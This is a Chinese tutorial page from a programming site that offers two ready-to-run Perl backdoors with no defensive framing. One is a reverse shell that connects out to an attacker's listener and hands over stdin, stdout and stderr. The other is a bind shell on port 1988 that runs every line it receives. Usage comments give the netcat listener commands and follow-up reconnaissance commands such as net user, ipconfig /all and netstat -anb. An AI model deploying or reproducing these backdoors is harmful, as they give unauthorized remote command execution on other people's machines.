• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >perl > perl后门,正向和反向!实例代码

perl后门,正向和反向!实例代码

作者: 字体:[增加 减小] 来源:互联网

通过本文主要向大家介绍了perl语言编程实例,perl实例精解,perl脚本实例,perl实例,perl程序实例等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com
 反向连接代码:
 1. #!/usr/bin/perl 
 2. #usage: 
 3. #nc -vv -l -p PORT(default 1988) on your local system first,then 
 4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988) 
 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. 
 6. #nc -vv -l -p 1988 
 7. #perl backdoor.pl 127.0.0.1 1988 
 8. 
 9. #use strict; 
 10. use Socket; 
 11. use IO::Socket; 
 12. use Cwd; 
 13. use IO::Handle; 
 14. my $remote = $ARGV[0]|| "127.0.0.1"; 
 15. my $remote_port = $ARGV[1]|| 1988; 
 16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote)); 
 17. my $path = cwd(); 
 18. $ARGC = @ARGV; 
 19. if ($ARGV[0]!~/-/) 
 20. { 
 21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: "; 
 22. STDOUT->autoflush(1); 
 23. SOCKET->autoflush(1); 
 24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!"; 
 25. open STDIN,">&SOCKET"; 
 26. open STDOUT,">&SOCKET"; 
 27. open STDERR,">&SOCKET"; 
 28. print "You are in $path\n"; 
 29. print "Welcome to use.\n"; 
 30. print "console>\n"; 
 31. 
 32. while (<STDIN>) { 
 33. chomp; 
 34. if( lc($_) eq 'exit' ) { 
 35. print " Bye Bye!"; 
 36. exit; 
 37. } 
 38. $msg=system($_); 
 39. if($msg){ 
 40. print STDOUT "\n$msg\n"; 
 41. print STDOUT "console>"; 
 42. }else 
 43. { 
 44. print "console>"; 
 45. } 
 46. } 
 47. close SOCKET; 
 48. exit; 
 49. } 
正向连接代码:
 1. #!/usr/bin/perl 
 2. #ActivePerl 5.8.8 Build 822 
 3. #usage: 
 4. #first:perl backdoor2c.pl 
 5. #second:nc -vv 127.0.0.1 1988 
 6. #net user 
 7. #ipconfig /all 
 8. #netstat -anb 
 9. use IO::Socket; 
 10. $port = "1988"; 
 11. my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' , 
 12. 'LocalPort'=>$port , 
 13. 'Listen'=>1 , 
 14. 'Proto'=>'tcp' , 
 15. 'Reuse'=>1 ); 
 16. die "Reason: $!" unless $socket; 
 17. while (my $new_socket = $socket->accept()) { 
 18. while (my $buffer=<$new_socket> ){ 
 19. if ($buffer=~/exit/) {exit;} 
 20. $res_msg=`$buffer`; 
 21. print $new_socket "$res_msg\ncmd>"; 
 22. }}  </div>

您可能想查找下面的文章:

  • 使用Perl生成随机密码
  • Perl删除前导和拖尾空白(删除左右空格、空白字符)
  • About Perl(翻译Perl官网介绍)
  • Perl初学笔记之Hello World
  • Perl的Mail::POP3Client模块和Gmail通信实例
  • perl中使用signal(信号)实例
  • perl读写文件代码实例
  • 什么是Perl?编程语言Perl详细介绍
  • Perl中使用MIME::Lite发送邮件实例
  • Perl中使用dig和nali判断DNS解析地址归属地是否一致脚本分享

相关文章

  • Perl读写文件简单示例
  • Perl List::Util模块使用实例
  • perl中单行注释和多行注释使用介绍
  • Perl使用Tesseract-OCR实现验证码识别教程
  • perl脚本学习指南--读书笔记
  • perl 读取所需文件的路径,然后打开相应的文件
  • 用python下载百度文库的代码
  • perl特殊符号及默认的内部变量
  • Linux/Unix下安装Perl模块的两种方法分享
  • perl子程序的运用及子程序中变量私有(my)声明的重要性

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • Perl Sort函数用法总结和使用实例
    • Perl哈希表用法解析
    • Perl Mysql数据库操作实现代码
    • 一个perl扩展正则表达式代码分析
    • perl去除重复内容的脚本代码(重复行+数组重复字段)
    • 求婚示爱的Perl代码之注释篇
    • Perl中处理时间的几个函数
    • 分享下perl胶水实现前后台对接的方法
    • perl push的用法及子程序返回值的反思
    • perl的cgi高级编程介绍

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有